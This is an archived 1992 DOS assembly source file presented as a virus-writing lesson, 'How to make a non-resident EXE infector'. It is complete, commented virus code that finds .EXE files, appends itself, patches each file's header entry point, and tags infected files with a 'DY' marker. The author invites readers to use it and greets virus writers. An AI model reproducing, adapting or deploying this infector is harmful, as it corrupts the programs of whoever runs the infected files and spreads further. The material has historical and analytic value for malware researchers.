home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / TORM-358.ASM < prev    next >
Assembly Source File  |  1992-06-29  |  3KB  |  160 lines

  1. ;
  2. ;    Virus Lession #2     'How to make a non-resident EXE infector'
  3. ;
  4. ;    (c) 1992 Tormentor // Demoralized Youth
  5. ;
  6. ;    Well, I had not time to comment this code as much as I wanted to,
  7. ;    but here you are.
  8. ;     What can be hard to understand is the .EXE header changes, but if
  9. ;    you look at the description on the header (ex: Norton guide Tech. Ref)
  10. ;    you'll understand...
  11. ;    Anyway, feel free to use this example and if you have any questions
  12. ;    or anything call my board: Swedish Virus Labratory +46-3191-9393
  13. ;     
  14. ;    Greetings to all virus-writers!
  15. ;
  16. ;    /Tormentor
  17. ;
  18.  
  19.  
  20.  
  21.         .model    tiny
  22.         .radix    16
  23.         .code
  24.     
  25. Virus_Lenght    EQU    Virus_End-Virus_Start    ; Lenght of virus.
  26.  
  27.         org    100
  28.  
  29. Virus_Start:    call    where_we_are    
  30.                     
  31. where_we_are:    pop    si        
  32.                     
  33.         sub    si,where_we_are-Virus_Start
  34.  
  35.         mov    ax,es
  36.         add    ax,10
  37.         add    ax,cs:[si+Exe_header-Virus_Start+16]
  38.         push    ax
  39.         push    cs:[si+Exe_header-Virus_Start+14]
  40.  
  41.         push    ds
  42.         push    cs
  43.         pop    ds        
  44.  
  45.         mov    ah,1a
  46.         mov    dx,offset Own_dta-Virus_Start
  47.         add    dx,si
  48.         int    21
  49.  
  50.         mov    ah,4e        ; We start to look for a *.EXE file
  51. look4victim:    mov    dx,offset file_match-Virus_Start
  52.         add    dx,si
  53.         int    21        
  54.  
  55.         jnc    cont2
  56.         jmp    no_victim_found ; If no *.EXE files was found.
  57.         
  58. cont2:        mov    ax,3d02        
  59.         mov    dx,Own_dta-Virus_Start+1e
  60.         add    dx,si        
  61.         int    21        
  62.         
  63.         jnc    cont1
  64.         jmp    cant_open_file    
  65.         
  66. cont1:        xchg    ax,bx        
  67.         
  68.         mov    ah,3f        
  69.         mov    cx,1c        
  70.         mov    dx,offset Exe_header-Virus_Start
  71.         add    dx,si
  72.         int    21        
  73.         
  74.         jc    read_error
  75.  
  76.         cmp    byte ptr ds:[si+Exe_header-Virus_Start],'M'
  77.         jnz    no_exe        ; !!! Some EXEs starts with ZM !!!    
  78.         cmp    word ptr ds:[si+Exe_header-Virus_Start+12],'DY'
  79.         jz    infected
  80.  
  81.         mov    ax,4202        ; Go EOF
  82.         xor    cx,cx        
  83.         xor    dx,dx        
  84.         int    21        
  85.  
  86.         push    dx
  87.         push    ax
  88.         
  89.         mov    ah,40        ; Write virus to EOF.
  90.         mov    cx,Virus_Lenght    
  91.         mov    dx,si        
  92.         int    21        
  93.  
  94.         mov    ax,4202        ; Get NEW filelenght.
  95.         xor    cx,cx
  96.         xor    dx,dx
  97.         int    21
  98.  
  99.         mov    cx,200
  100.         div    cx
  101.         inc    ax
  102.         mov    word ptr ds:[Exe_header-Virus_Start+2+si],dx
  103.         mov    word ptr ds:[Exe_header-Virus_Start+4+si],ax
  104.  
  105.         pop    ax
  106.         pop    dx
  107.  
  108.         mov    cx,10
  109.         div    cx
  110.         sub    ax,word ptr ds:[Exe_header-Virus_Start+8+si]
  111.         mov    word ptr ds:[Exe_header-Virus_Start+16+si],ax
  112.         mov    word ptr ds:[Exe_header-Virus_Start+14+si],dx
  113.  
  114.         mov    word ptr ds:[Exe_header-Virus_Start+12+si],'DY'
  115.  
  116.         mov    ax,4200        ; Position file-pointer to begin of file
  117.         xor    cx,cx        
  118.         xor    dx,dx        
  119.         int    21        
  120.  
  121.         mov    ah,40        ; Write header
  122.         mov    cx,1c
  123.         mov    dx,offset Exe_header-Virus_Start
  124.         add    dx,si
  125.         int    21        
  126.         
  127.         jc    write_error
  128.  
  129. no_exe:
  130. infected:
  131.         mov    ah,3e        
  132.         int    21        
  133.  
  134. Sick_or_EXE:    mov    ah,4f        
  135.         jmp    look4victim    
  136.  
  137. write_error:        ; Here you can test whats went wrong.
  138. read_error:        ; This is just for debugging purpose.
  139. cant_open_file:        ; These entries are equal to eachother
  140. no_victim_found:    ; but could be changed if you need to test something.
  141.                     
  142.         pop    ds
  143.         retf
  144.  
  145. file_match    db    '*.EXE',0    ; Pattern to search for.
  146.                     ; Don't forget to end with 0 !
  147.  
  148. Exe_header    db    16 DUP(0)
  149.         dw    0fff0        ; Adjustment just for this COM-file.        
  150.         db    4  DUP(0)
  151.  
  152. notes        db    '(c) 1992 Tormentor / Demoralized Youth ',0a,0d
  153.         db    'Rather first in hell, than second in heaven.'
  154.  
  155. Own_Dta        db    02bh DUP(0)
  156.  
  157. Virus_End    EQU    $    
  158.  
  159.         end    Virus_Start
  160.